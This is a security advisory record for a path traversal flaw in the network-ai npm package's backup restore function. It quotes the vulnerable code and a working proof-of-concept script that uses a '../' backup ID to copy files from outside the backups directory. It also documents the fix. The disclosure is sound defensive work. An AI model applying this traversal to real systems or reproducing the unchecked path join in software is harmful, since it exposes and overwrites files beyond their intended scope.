{"id":"GHSA-48x2-6pr9-2jjf","summary":"Network-AI: EnvironmentManager.restore() backup ID path traversal copies arbitrary directories into environment data","details":"### Summary\n`EnvironmentManager.restore(env, backupId)` computes the backup path with `join(envDir, '.backups', backupId)` and only checks that this path exists. It does not resolve the result or verify that it remains under `data/\u003cenv\u003e/.backups`.\n\nA caller can pass a traversal backup ID such as `../../../outside/source-dir` to restore files from an arbitrary directory into the target environment data directory. Confirmed in Network-AI 5.12.1.\n\n### Details\n`restore()` builds `backupPath` directly from caller-controlled `backupId`:\n\n```ts\nrestore(env: EnvName, backupId: string): RestoreResult {\n  const envDir = this.getDataDir(env);\n  const backupsDir = join(envDir, '.backups');\n  const backupPath = join(backupsDir, backupId);\n\n  if (!existsSync(backupPath)) {\n    throw new Error(`Backup '${backupId}' not found for environment '${env}'`);\n  }\n\n  this.backup(env);\n\n  const files = this._collectBackupFiles(backupPath);\n  let restored = 0;\n  for (const rel of files) {\n    if (rel === '_manifest.json') continue;\n    const src = join(backupPath, rel);\n    const dst = join(envDir, rel);\n    try {\n      mkdirSync(join(envDir, rel.includes('/') ? rel.substring(0, rel.lastIndexOf('/')) : '.'), { recursive: true });\n      copyFileSync(src, dst);\n      restored++;\n    } catch { /* skip */ }\n  }\n\n  return { backupId, env, filesRestored: restored };\n}\n```\n\nThere is no resolved containment check that ensures `backupPath` remains under `backupsDir`.\n\nDefault CLI reachability exists through `network-ai env backup restore --env \u003cenv\u003e --backup \u003cid\u003e`.\n\nAffected source evidence:\n\n- `lib/env-manager.ts:474-499` — vulnerable restore path construction and copy.\n- `bin/cli.ts:441-458` — default CLI exposes restore with caller-controlled `--backup`.\n\n### PoC\nThis PoC uses only temporary directories and restores `trust_levels.json` from an external directory into `data/dev`:\n\n```bash\nTMP=$(mktemp -d)\nTMPBASE=\"$TMP\" node -r ts-node/register/transpile-only - \u003c\u003c'TS'\nconst { EnvironmentManager } = require('./lib/env-manager');\nconst fs = require('fs');\nconst path = require('path');\nconst base = process.env.TMPBASE;\nconst data = path.join(base, 'data');\nconst source = path.join(base, 'outside', 'secret-src');\n\nfs.mkdirSync(source, { recursive: true });\nfs.writeFileSync(path.join(source, 'trust_levels.json'), '{\"leaked\":true}');\n\nconst mgr = new EnvironmentManager(data, {\n  chain: ['dev', 'st'],\n  gates: { dev: 'auto', st: 'auto' },\n});\n\nmgr.init('dev');\nconst backupId = path.relative(path.join(data, 'dev', '.backups'), source);\nconst result = mgr.restore('dev', backupId);\nconst restored = fs.readFileSync(path.join(data, 'dev', 'trust_levels.json'), 'utf8');\n\nconsole.log(JSON.stringify({ backupId, filesRestored: result.filesRestored, restored }, null, 2));\nfs.rmSync(base, { recursive: true, force: true });\nTS\n```\n\nObserved result includes `backupId: \"../../../outside/secret-src\"`, `filesRestored: 1`, and restored content `{\"leaked\":true}`.\n\n### Impact\nA caller that can invoke backup restore can copy arbitrary readable directories into `data/\u003cenv\u003e`, subject to process filesystem permissions. This can stage sensitive files into environment data/backup locations, overwrite environment configuration files if matching filenames exist, and break environment isolation. No RCE chain was confirmed.\n\n\n---\n\n### Resolution (maintainer)\n\n**Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` — published to npm with provenance.\n\n`restore()` now validates `backupId` against `/^[\\w\\-]+$/` and asserts `dirname(resolve(join(backupsDir, backupId))) === resolve(backupsDir)` before touching the filesystem. Backup IDs containing path separators or `..` are rejected, so a crafted ID can no longer copy directories from outside `.backups/` into the environment.\n\nAll 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.","aliases":["CVE-2026-58413"],"modified":"2026-07-21T03:56:47.400469972Z","published":"2026-06-19T21:42:38Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-06-19T21:42:38Z","nvd_published_at":null,"cwe_ids":["CWE-22","CWE-23"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-48x2-6pr9-2jjf"},{"type":"WEB","url":"https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3"},{"type":"PACKAGE","url":"https://github.com/Jovancoding/Network-AI"},{"type":"WEB","url":"https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2"}],"affected":[{"package":{"name":"network-ai","ecosystem":"npm","purl":"pkg:npm/network-ai"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"5.12.2"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 5.12.1","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-48x2-6pr9-2jjf/GHSA-48x2-6pr9-2jjf.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N"}]}